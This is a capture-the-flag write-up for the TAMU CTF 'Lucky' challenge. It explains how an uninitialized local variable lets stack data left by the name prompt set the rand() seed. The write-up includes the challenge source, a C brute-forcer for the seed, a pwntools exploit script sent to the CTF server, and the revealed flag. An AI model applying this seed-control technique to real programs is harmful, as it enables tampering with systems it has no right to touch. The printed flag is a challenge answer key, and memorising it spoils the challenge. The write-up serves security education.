[TAMU ctf] Lucky

This is the output of checksec over the ELF of this challenge.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

In all of the challenges of this ctf the authors provide us also the sourcecode of the binary. Here is the source code for this challenge

#include <stdio.h>
#include <stdlib.h>

void welcome() {
    char buf[16];
    printf("Enter your name: ");
    fgets(buf, sizeof(buf), stdin);
    printf("\nWelcome, %s\nIf you're super lucky, you might get a flag! ", buf);
}

int seed() {
    char msg[] = "GLHF :D";
    printf("%s\n", msg);
    int lol;
    return lol;
}

void win() {
    char flag[64] = {0};
    FILE* f = fopen("flag.txt", "r");
    fread(flag, 1, sizeof(flag), f);
    printf("Nice work! Here's the flag: %s\n", flag);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    welcome();
    srand(seed());

    int key0 = rand() == 306291429;
    int key1 = rand() == 442612432;
    int key2 = rand() == 110107425;

    if (key0 && key1 && key2) {
        win();
    } else {
        printf("Looks like you weren't lucky enough. Better luck next time!\n");
    }
}

The probram will print the flag only if the rand will output some values.

The interesting part in this source code is in the function seed used to obtain a seed for the srand function.

int seed() {
    char msg[] = "GLHF :D";
    printf("%s\n", msg);
    int lol;
    return lol;
}

this function return the value of a variable that is not initialized and this could lead to undetermined behaviour of the program. The problem is that as we can see from gdb we can control what the lol variable contain.

void welcome() {
    char buf[16];
    printf("Enter your name: ");
    fgets(buf, sizeof(buf), stdin);
    printf("\nWelcome, %s\nIf you're super lucky, you might get a flag! ", buf);
}

The welcome function ask us 16 bytes that will be stored in a buffer and this if fine. The problem is that with this input we can control what the lol variable will contain.

Here I send in the buffer the string “ABCDEFGHIJKLMNO” (15bytes because fgets will read 15 bytes and put null char at the end of the buffer)

l1

In the seed finction we can see that the variable lol will contain the value 0x4f4e4d that is ‘ONM’so we can control the seed value.

l2

Now we need to find a seed value that will return 306291429, 442612432, 110107425 for the first three value. I wrote a little program in c in order to find this value.

#include <stdio.h>
#include <stdlib.h>

int main() {
    for(unsigned int i = 0; i<0xffffff;i++){
    	srand(i);
    	if(!(rand() == 306291429))continue;
    	if(!(rand() == 442612432))continue;
    	if(!(rand() == 110107425))continue;
	printf("%u", i);
    }
}
# output 5649426 == 0x563412

With this value found we have all in order to win this challenge.

This is the script

from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="lucky")

context.binary = elf = ELF('./lucky')
#p = elf.process()
#gdb.attach(p)

pyl = b'ABCDEFGHIJKL\x12\x34\x56'
p.sendlineafter(b'Enter your name: ', pyl)
p.interactive()

And this is the output:

eurus@node-01-00:~/Scaricati/lucky$ python3 solver-template.py 
[+] Opening connection to tamuctf.com on port 443: Done
[*] Switching to interactive mode

Welcome, ABCDEFGHIJKL\x12V
If you're super lucky, you might get a flag! GLHF :D
Nice work! Here's the flag: gigem{un1n1t14l1z3d_m3m0ry_15_r4nd0m_r1ght}